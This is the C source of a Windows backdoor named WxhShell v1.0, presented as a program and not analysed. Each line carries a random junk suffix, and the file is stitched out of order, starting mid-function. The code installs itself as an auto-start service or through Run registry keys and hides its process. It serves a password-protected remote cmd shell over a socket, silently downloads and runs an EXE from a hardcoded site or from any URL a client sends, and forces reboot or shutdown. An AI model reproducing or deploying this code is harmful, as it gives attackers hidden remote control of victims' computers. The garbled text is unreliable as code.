    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7 2ux3D  
    if(Boot(SHUTDOWN)) VYkOJAEBg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?8. $A2(Xw  
    else { xRW~xr2h@  
    closesocket(wsh);  @jO3+  
    ExitThread(0); #_y#sDfzh  
    } d/Xbk%`p  
    break; cu(2BDfiL  
    } %TxFdF{A  
  // 获取shell Y$!K<c k  
  case 's': { `h_,I R<  
    CmdShell(wsh); >>=lh  
    closesocket(wsh); }N(-e$88  
    ExitThread(0); E"bYl3  
    break; m v%fX2.  
  } lz@fXaZM  
  // 退出 ZO{uG(u  
  case 'x': { k_#ra7zP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -EFtk\/  
    CloseIt(wsh); 64>E|w  
    break; :j9{n ,F  
    } [Rw0']i`4  
  // 离开  Ek(. ["  
  case 'q': { :\L{S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VdQ}G!d  
    closesocket(wsh); !p4w 8  
    WSACleanup(); Bvzl* &?  
    exit(1); *qYcb} ]  
    break; %)8`(9J*  
        } ,i#]&f`c;5  
  } $q]((@i.  
  } {M U>5\  
.2/(G{}U  
  // 提示信息 9r@r\-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :pcKww|V  
} /E$"\md  
  } 6Lz{/l8  
-X5rGp++  
  return; dG}fpQ3&  
} JLm0[1Lzd  
OEy'8O$  
// shell模块句柄 lBh|+K N  
int CmdShell(SOCKET sock) vC[)/w  
{ #sdW3m_%  
STARTUPINFO si; g4!zH};n  
ZeroMemory(&si,sizeof(si)); _,_>B8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o0&jel1a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |Y|{9Osus  
PROCESS_INFORMATION ProcessInfo; ym:^Y-^iV  
char cmdline[]="cmd"; k1i*1Tc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pbKDtqSn z  
  return 0; lb5Y$ZC  
} |[(4h  
 =\`g<0  
// 自身启动模式 0*YLFqN  
int StartFromService(void) ?Q;8D@   
{ N_Cu%HP  
typedef struct ZdeRLX  
{ +"6_rbeuO  
  DWORD ExitStatus; /ZHuT=j1  
  DWORD PebBaseAddress; Q7UFF  
  DWORD AffinityMask; ."l@aE=|  
  DWORD BasePriority; dbSIC[q  
  ULONG UniqueProcessId; I \zM\^S>]  
  ULONG InheritedFromUniqueProcessId; 7g}4gX's  
}   PROCESS_BASIC_INFORMATION; FYR%>Em  
~{iBm"4  
PROCNTQSIP NtQueryInformationProcess; EMzJJe{Cv  
p8hF`D~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %YG ~ql  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GJai!$v  
PF*<_p"j  
  HANDLE             hProcess; Q]Q i  
  PROCESS_BASIC_INFORMATION pbi; >|WNsjkU%  
^-c j=on=Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hNmC(saMGm  
  if(NULL == hInst ) return 0; A U9Y0<  
GLQ1rT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n( l!T 7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G<OC99;8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1VL!0H  
~'KymarPU  
  if (!NtQueryInformationProcess) return 0; LOpn PH`  
csz/[*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HGfV2FtTz  
  if(!hProcess) return 0; 0RAmwfXm  
2MQgTFM9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &Z/aM?  
!}|n3wQ  
  CloseHandle(hProcess); xCF k1%qf  
R}c,ahd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DvHcT] l>5  
if(hProcess==NULL) return 0; ^;@q^b)ZP  
m]} E0  
HMODULE hMod; Or= [2@Wg  
char procName[255]; \~d|MP}"F:  
unsigned long cbNeeded; ~4y&]:I  
F&.iY0Pt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *T$o" *}  
nx`!BNL'V  
  CloseHandle(hProcess); ]#P9.c_}  
o0^..f  
if(strstr(procName,"services")) return 1; // 以服务启动 ,$EM3   
WM5 s  
  return 0; // 注册表启动 Wk"4mq  
} /"+YE&>\  
e  p~3e5  
// 主模块 V$%%nG uE  
int StartWxhshell(LPSTR lpCmdLine) Pj>r(Cv  
{ _ fha9`  
  SOCKET wsl; ewg&DBbN"  
BOOL val=TRUE; Gf\Dc   
  int port=0; LvgNdVJDP|  
  struct sockaddr_in door; [>QV^2'Z  
W&ya_iP~C  
  if(wscfg.ws_autoins) Install(); !c[(#g  
L&ySXc=  
port=atoi(lpCmdLine); >B/ jTn5=  
a_XM2dc%  
if(port<=0) port=wscfg.ws_port; "-Gjw B  
exrsYo!%  
  WSADATA data; - FV$Sne  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L ?g|:  
/fbI4&SB!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $7eO33Bm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i71 ,  
  door.sin_family = AF_INET;  hX?L/yf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !cPiH6eO  
  door.sin_port = htons(port); ps=jGh[  
{.pR$]6B"+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pV{MW#e  
closesocket(wsl); %5 V!Fdb  
return 1; X5UcemO  
} tgK$}#.*  
uSCF;y=1g,  
  if(listen(wsl,2) == INVALID_SOCKET) { QEK,mc3  
closesocket(wsl); OY7\*wc:  
return 1; q+f]E&':  
} lMz5))Rr  
  Wxhshell(wsl); La9v97H:  
  WSACleanup(); ;SoKX?up5  
}VxbO8\b(  
return 0; P3V=DOG"  
BV,P;T0"D  
} Cv862k P  
FVM:%S JjT  
// 以NT服务方式启动  /B)ZB})z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H6(kxpOI\  
{ oV utHt  
DWORD   status = 0; gXN#<g,:^  
  DWORD   specificError = 0xfffffff; ]Aap4+s  
E;$)Oz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >y)(M(o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g\;AU2?p7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *5Upb,* *  
  serviceStatus.dwWin32ExitCode     = 0; x'kwk  
  serviceStatus.dwServiceSpecificExitCode = 0; N p9N#m?  
  serviceStatus.dwCheckPoint       = 0; 48dIh\TH"  
  serviceStatus.dwWaitHint       = 0; Kk+IUs  
D|m6gP;P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hV|pH)Nu{  
  if (hServiceStatusHandle==0) return; WqP>cl2Lm  
Y)^qF)v,d  
status = GetLastError(); IB:eyq-+  
  if (status!=NO_ERROR) XzI c<81Z  
{ 5Nc~cD%0tK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M,@\*qlEJ  
    serviceStatus.dwCheckPoint       = 0; :acnrW>i[@  
    serviceStatus.dwWaitHint       = 0; +g,:!5pg  
    serviceStatus.dwWin32ExitCode     = status; {Ts@#V=:  
    serviceStatus.dwServiceSpecificExitCode = specificError; N<o3pX2i]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hFl$u8KV  
    return; U]j4Izq  
  } U;Z6o1G  
f"t\-ux.b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V&`\ s5Q  
  serviceStatus.dwCheckPoint       = 0; RN\4y{@  
  serviceStatus.dwWaitHint       = 0; x)0g31 4 9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9t@^P^}=\m  
} ?h UC#{  
TxAT ))  
// 处理NT服务事件,比如:启动、停止 'U ',9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U ^1Xc#Ff  
{ Uf )?sz  
switch(fdwControl) }&#R-eQT  
{ =!7k/n';  
case SERVICE_CONTROL_STOP: LX),oR  
  serviceStatus.dwWin32ExitCode = 0; XH4!|wz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `&$"oW{HW  
  serviceStatus.dwCheckPoint   = 0; ^|y6oj  
  serviceStatus.dwWaitHint     = 0; JwWW w1  
  { ].53t"*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pOP`n3m0  
  } UMR0S5`}  
  return; gX<"-,5jc  
case SERVICE_CONTROL_PAUSE: N: 'v^0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?8[,0l:|  
  break; T|^rFaA  
case SERVICE_CONTROL_CONTINUE: ~qQSt%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #mg6F$E  
  break; v#*9rNEj0  
case SERVICE_CONTROL_INTERROGATE: WNSf$D{p  
  break; gQaBQq9  
}; A6ipA /_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P5s'cPX  
} J'^H@L/E  
]oB-qfbH  
// 标准应用程序主函数 V5sH:A7GJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hJY= )  
{ ceBu i8a |  
%UZ_wsY\  
// 获取操作系统版本  z}\TS.  
OsIsNt=GetOsVer(); }~pT saw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7=C$*)x  
*i zPLM}+  
  // 从命令行安装 [1Pw2MC<  
  if(strpbrk(lpCmdLine,"iI")) Install(); OAPR wOQ^=  
&LM@_P"T  
  // 下载执行文件 r&sm&4)p-5  
if(wscfg.ws_downexe) { x95[*[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t mAj  
  WinExec(wscfg.ws_filenam,SW_HIDE); N,U<.{T=A  
} bM7y}P5`1  
k(1]!c4J0  
if(!OsIsNt) { m<L.H33'  
// 如果时win9x,隐藏进程并且设置为注册表启动 <#AS[Q[N  
HideProc(); Q\>9PKK  
StartWxhshell(lpCmdLine); P0O5CaR  
} )X-b|D4O  
else xGsg'  
  if(StartFromService()) -oc@$*t  
  // 以服务方式启动 '>dsROB->  
  StartServiceCtrlDispatcher(DispatchTable); 3vRRL  
else g]au|$L4  
  // 普通方式启动 LWgYGXWT"  
  StartWxhshell(lpCmdLine); l`c&nf6  
F<SMU4]YdG  
return 0; O=E"n*U  
} :m*r( i3  
k( l  
MT{7I"  
d*3;6ZLy  
=========================================== bOR1V\Jr$q  
I3Gz,y+  
VZ"W_U,  
} :U'aa  
nXHU|5.I  
Lc,`  
" <Stfqa6FJ  
Hq9yu*!u  
#include <stdio.h> ;xF5P'T?|  
#include <string.h> ;Zfglid  
#include <windows.h> 4+&4  
#include <winsock2.h> bxX[$q  
#include <winsvc.h> &w\E*$  
#include <urlmon.h> mqL&bmT  
iW.4'9   
#pragma comment (lib, "Ws2_32.lib") 5Y<O  
#pragma comment (lib, "urlmon.lib") H}m%=?y@  
E}eu]2=nU}  
#define MAX_USER   100 // 最大客户端连接数 y9W6e "  
#define BUF_SOCK   200 // sock buffer yVA<-PlS<  
#define KEY_BUFF   255 // 输入 buffer lm'L-ZPN  
Y rq-(  
#define REBOOT     0   // 重启 %qG nvQ  
#define SHUTDOWN   1   // 关机 i,HafY  
ygt7;};!  
#define DEF_PORT   5000 // 监听端口 cQkH4>C~  
9WN 4eC$  
#define REG_LEN     16   // 注册表键长度 4o7(cP  
#define SVC_LEN     80   // NT服务名长度  N7%iz+  
EB8=*B8  
// 从dll定义API >y&Db  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f-6hcd@Ca  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); paFiuQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  d+FS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6zuWG0t  
E/x2LYH  
// wxhshell配置信息 #H9J/k_  
struct WSCFG { ;-SFK+)R"  
  int ws_port;         // 监听端口 vrVb/hhG  
  char ws_passstr[REG_LEN]; // 口令 U~{fbS3,  
  int ws_autoins;       // 安装标记, 1=yes 0=no ut26sg{s(  
  char ws_regname[REG_LEN]; // 注册表键名 Y:|_M3&'o  
  char ws_svcname[REG_LEN]; // 服务名 piq1cV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T\;7'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .iK{=L/(y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jP*5(*[&y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DRS68^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r$3{1HXc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O'tVZ!C#J  
RmXC ^VQ  
}; "#7~}Z B  
d=<"sHO  
// default Wxhshell configuration E,"?RbG  
struct WSCFG wscfg={DEF_PORT, J:s^F n  
    "xuhuanlingzhe", :e9}k5kdk  
    1, )$18a  
    "Wxhshell", >T'=4n['  
    "Wxhshell", *>otz5]  
            "WxhShell Service", 8?ig/HSt2  
    "Wrsky Windows CmdShell Service", MUo}Qi0K  
    "Please Input Your Password: ", Z";~]]$!Y  
  1, K9JW&5Q  
  "http://www.wrsky.com/wxhshell.exe", w!$|IC  
  "Wxhshell.exe" K$>C*?R  
    }; oK cgP  
py9zDWk~  
// 消息定义模块 R@lmX%Z1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4 VtI8f!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4-P'e%S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mm7l!  
char *msg_ws_ext="\n\rExit."; S *3N6*-l"  
char *msg_ws_end="\n\rQuit."; sW/^82(dM  
char *msg_ws_boot="\n\rReboot..."; ~G0\57;h  
char *msg_ws_poff="\n\rShutdown..."; eWjLP{W  
char *msg_ws_down="\n\rSave to "; +T}:GBwD7  
;CbQ}k  
char *msg_ws_err="\n\rErr!"; @^g/`{j>J  
char *msg_ws_ok="\n\rOK!"; Jw%0t'0Zi  
#BA=?7  
char ExeFile[MAX_PATH];  _N`:NOM  
int nUser = 0; :Ny.OA  
HANDLE handles[MAX_USER]; *5( h,s3&  
int OsIsNt; G8}w|'0m  
5LVhq[}mP  
SERVICE_STATUS       serviceStatus; T;6 VI|\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p(EV-^  
)vH6N_  
// 函数声明 PoyY}Ra  
int Install(void); " P A:  
int Uninstall(void); ;{Cr+lqTJ  
int DownloadFile(char *sURL, SOCKET wsh); r:h\{ DVf  
int Boot(int flag); OnO56,+S^  
void HideProc(void); Q;p?.GI?-  
int GetOsVer(void); oqzx}?0  
int Wxhshell(SOCKET wsl); #:rywz+  
void TalkWithClient(void *cs); IooAXwOF  
int CmdShell(SOCKET sock); :1Jg;G  
int StartFromService(void); #{973~uj  
int StartWxhshell(LPSTR lpCmdLine); Xg>nb1e  
*P4G}9B|9:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c_#\'yeW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I!IWmU6FN  
ka_]s:>+  
// 数据结构和表定义 <uGc=Du  
SERVICE_TABLE_ENTRY DispatchTable[] = asT*Z"/Q!  
{ _M n7zt1^  
{wscfg.ws_svcname, NTServiceMain}, 9}e`_z  
{NULL, NULL} XA`<*QC<  
};  .PyPU]w  
|Sg FHuA  
// 自我安装 @^47Qgj8 U  
int Install(void) 7P}&<;5zD  
{ * b+ef  
  char svExeFile[MAX_PATH]; Ns.b8Y  
  HKEY key; S{cy|QD  
  strcpy(svExeFile,ExeFile); EsA)o 5  
Gc=#  
// 如果是win9x系统,修改注册表设为自启动 .ztO._J7f  
if(!OsIsNt) { y8T%g(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YJZVi ic  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IY$H M3t7  
  RegCloseKey(key); "b&[W$e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G(7!3a+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5a moK7  
  RegCloseKey(key); yp%7zrU  
  return 0; #h'F6  
    } #7S[Ch}O  
  } 5&5 x[S8  
} VEAf,{)Q  
else { eNN)2-96  
s;-(dQ{O  
// 如果是NT以上系统,安装为系统服务 `TNW LD@Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gv,_;?7lD  
if (schSCManager!=0) 8=;'kEU  
{ L\L/+yNv:G  
  SC_HANDLE schService = CreateService DgOO\  
  ( h+o-h4X  
  schSCManager, s53 Pw>f  
  wscfg.ws_svcname, h WvQh  
  wscfg.ws_svcdisp, >"qnuv G  
  SERVICE_ALL_ACCESS, R +H0+omj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <uXZ*E  
  SERVICE_AUTO_START, cPcp@Dp  
  SERVICE_ERROR_NORMAL, =n_r\z  
  svExeFile, #Z8=z*4  
  NULL, wfH#E2+pk  
  NULL,  6C6<,c   
  NULL, d` > '<  
  NULL, 69)- )en  
  NULL 8c-r;DE  
  ); <Wgp$qt;  
  if (schService!=0) PPiN`GM  
  { }EB/18  
  CloseServiceHandle(schService); BD6oN]  
  CloseServiceHandle(schSCManager); U_ j\UQC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0zD[mt  
  strcat(svExeFile,wscfg.ws_svcname); RY=B>398:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G]Fp},  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?1\rf$l8  
  RegCloseKey(key); w0n.Y-v4i  
  return 0; @ i $jyc  
    } ;eYm+e^?.  
  } KiN8N=z  
  CloseServiceHandle(schSCManager); #.|ef dsG  
} m22FOjk\  
} 'l,ym~R  
?kfLOJQ:I  
return 1; QXTl'.SfF  
} 8]U;2H/z  
GAK!qLy9  
// 自我卸载 nM*-Dy3ou  
int Uninstall(void)  /="~Jo  
{ %3B0s?,I  
  HKEY key; !9yOFd_  
dQSX&.<c,  
if(!OsIsNt) { b}DxD1*nsI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SGi(Zkc  
  RegDeleteValue(key,wscfg.ws_regname); -%8*>%  
  RegCloseKey(key); ^m ^4LDt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9V5}%4k%+  
  RegDeleteValue(key,wscfg.ws_regname); i7hWBd4wK  
  RegCloseKey(key); qx,>j4y w  
  return 0; j9FG)0  
  } ?7 Kl)p3  
} I"TFj$Pg  
} Fk01j;k.H  
else { 49vKb(bz{  
AN-qcp6=o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7[=MgnmuC  
if (schSCManager!=0) jQDXl  
{ .xnJT2uu'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]3B8D<p  
  if (schService!=0) L\1&$|?  
  { u-yVc*<,  
  if(DeleteService(schService)!=0) { R(jp  
  CloseServiceHandle(schService); b^WTX  
  CloseServiceHandle(schSCManager); Bf {h\>q  
  return 0; q~QB?+ x&  
  } xaQO=[  
  CloseServiceHandle(schService); 0E[&:6#Y  
  } 3aL8GMiu  
  CloseServiceHandle(schSCManager); >)E{Hs  
} (^x ,  
} /l o;:)AiP  
?)x"+[2  
return 1; )YSS>V  
} ;[pY>VJ(  
$9LI v  
// 从指定url下载文件 7OF6;@<  
int DownloadFile(char *sURL, SOCKET wsh) N@Fof(T&  
{ OAGI|`E$/-  
  HRESULT hr; C !a#M{:  
char seps[]= "/"; -+9,RtHR7  
char *token; tWD5Yh>.?$  
char *file; 9fLxp$`(T  
char myURL[MAX_PATH]; <#c/uIN  
char myFILE[MAX_PATH]; 2`2S94'  
;3~+M:{2  
strcpy(myURL,sURL); re\pE2&B  
  token=strtok(myURL,seps); ZdcG6IG+  
  while(token!=NULL) "n,? )  
  { y2nwDw(xF  
    file=token; Pe-1o#7~W  
  token=strtok(NULL,seps); >M~wFs$~  
  } :=CRsQAn  
J. %%]-f=&  
GetCurrentDirectory(MAX_PATH,myFILE); zTP|H5HyK  
strcat(myFILE, "\\"); h^Bp^V5#  
strcat(myFILE, file); YzasT:EZN  
  send(wsh,myFILE,strlen(myFILE),0); zh{:zT)(1  
send(wsh,"...",3,0); NT3Ti ?J,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tv,Z>&OM  
  if(hr==S_OK) ZT;8Wvo  
return 0; 6S`J7[  
else ~hx__^]d  
return 1; mpcO-%a  
6 07"Z\  
} 0+H4sz%.  
1?!z<<  
// 系统电源模块 Wzm!:U2R*  
int Boot(int flag) ?+^vU5b1u  
{ MlbQLtw  
  HANDLE hToken; @fjVCc;  
  TOKEN_PRIVILEGES tkp; *Fb|iR  
@nPXu2c?u7  
  if(OsIsNt) { eaNMcC1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R]Iv?)Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $0(~ID  
    tkp.PrivilegeCount = 1; V~tZNR J-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NG)Xk[q4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C71\9K*X  
if(flag==REBOOT) { yu^n;gWH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "2J$~2{N  
  return 0; Hi V7  
} qj$6/V|D  
else { m+3U[KKvG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BAy]&q|.  
  return 0; wO>P< KBU  
} d z-  
  } RxeyMNd  
  else { -c_}^j  
if(flag==REBOOT) { xzI?'?duC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) klUW_d-  
  return 0; _T8o]  
} dE ,NG)MH  
else { ?WD JWp%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =r?#,'a  
  return 0; W.|r=   
} p  K=  
} zJxO\  
&@&0n)VTd  
return 1; |mHxkd  
} X3# AYn,  
ZvSWIQ6  
// win9x进程隐藏模块 Y\Grf$e  
void HideProc(void) -n>JlfCd2  
{ B'@a36  
{Xj2c]A1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iUH{rh!  
  if ( hKernel != NULL ) &I=27!S  
  { j 1Ng[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xllk hD4F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <aScA`\B#  
    FreeLibrary(hKernel); M@ TXzn!&o  
  } et-<ib<lY  
$>Mqo  
return; \NgBF  
} &IZthJqV  
< .\2 Ec  
// 获取操作系统版本 FxK2 1  
int GetOsVer(void) S8S<>W  
{  ,xhB  
  OSVERSIONINFO winfo; O)Wc\-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); df'xx)kW  
  GetVersionEx(&winfo); C=y[WsT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X~#jx(0_  
  return 1; EId_1F;V^  
  else OS.oknzZZ  
  return 0; q%rfKHMA50  
} XH"-sZt  
M8,_E\*  
// 客户端句柄模块 Q*GJREC  
int Wxhshell(SOCKET wsl) Da@H^  
{ "&Y5Nh  
  SOCKET wsh; :t'*fHi~  
  struct sockaddr_in client; Wwf],Ya  
  DWORD myID; $@ R[$/  
,'FdUq)i  
  while(nUser<MAX_USER) Z2.S:y.  
{ q ad`muAd  
  int nSize=sizeof(client); qh]ILE87(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uFXu9f+  
  if(wsh==INVALID_SOCKET) return 1; Gl@-RLo  
a YC[15?'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wv6rjg:7  
if(handles[nUser]==0) F~C9,`#Wf@  
  closesocket(wsh); < gtqwH]   
else G\I DgPj`  
  nUser++; s/" l ?d  
  } / }tMb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^kF-mM=  
*pZhwO !D  
  return 0; kv)IG$S 0  
} <z2*T \B!8  
# $dk  
// 关闭 socket MU-T>S4  
void CloseIt(SOCKET wsh) HAHLF+k  
{ j)vfI>  
closesocket(wsh); 1~|o@CO  
nUser--; 8}A+{xVp8  
ExitThread(0); J8>8@m6  
} :RqTbE4B  
3u tJlD  
// 客户端请求句柄 xi!CZNz  
void TalkWithClient(void *cs) 7YLG<G!v)]  
{ KK|AXoBf  
6cm&=n_u  
  SOCKET wsh=(SOCKET)cs; $Qc`4x;N  
  char pwd[SVC_LEN];  q\xT  
  char cmd[KEY_BUFF]; [og_0;  
char chr[1]; p^yuz (  
int i,j; "j<l=l!  
ahnQq9  
  while (nUser < MAX_USER) { \A ?B{*  
`1Cg)\&[e0  
if(wscfg.ws_passstr) { jH4'jB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LKx<hl$O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;%/Kh :Vg  
  //ZeroMemory(pwd,KEY_BUFF); b;AGw3SF  
      i=0; e 2@{Ab  
  while(i<SVC_LEN) { i!U,qV1  
B>!OW2q0D  
  // 设置超时 G[[hC[}I  
  fd_set FdRead; #$ Q2ijT0  
  struct timeval TimeOut; -76l*=|  
  FD_ZERO(&FdRead); }0%~x,  
  FD_SET(wsh,&FdRead);  oRbG6Vv/  
  TimeOut.tv_sec=8; ,{tK{XpS  
  TimeOut.tv_usec=0; `RriVYc<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zt23on2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <691pk X  
l^ Q-KUI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (C=.&',P  
  pwd=chr[0]; ohod)8  
  if(chr[0]==0xd || chr[0]==0xa) { ]l~TI8gC  
  pwd=0; S{sJX5R;  
  break; x_yQoae  
  } $^ wqoW%t  
  i++; "G+g(?N]j  
    } wVw?UN*rm;  
F"?OLV1B&  
  // 如果是非法用户,关闭 socket @S%ogZz*m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZjEc\{ s  
} nB#m?hK  
:|P[u+v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tt=JvI9>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j-% vLL/  
n& j@7R  
while(1) { >&mNC \PA  
=jWcD{;1I}  
  ZeroMemory(cmd,KEY_BUFF); 63EwV p/|  
- %5O:n  
      // 自动支持客户端 telnet标准   I1 Jo8s  
  j=0; 42{\u08Z  
  while(j<KEY_BUFF) { @Z fQ)q\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a*oqhOTQ  
  cmd[j]=chr[0]; B]""%&! O  
  if(chr[0]==0xa || chr[0]==0xd) { ^V1iOf:  
  cmd[j]=0; xlW`4\ Pa  
  break; @5i m*ubzM  
  } .w .`1 g   
  j++; S*5hO) C  
    } bJ$6[H-:  
,y'E#_cTgQ  
  // 下载文件 "G&S`8  
  if(strstr(cmd,"http://")) { pel{ ;r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Fzs%]M  
  if(DownloadFile(cmd,wsh)) @`,~d{ziF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ecZT|X4u  
  else HoTg7/iK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 42Qfv%*c  
  } gHB*u!w7Z  
  else { pr;z>|FgA>  
&N`s@Ka  
    switch(cmd[0]) { a___SYl 'K  
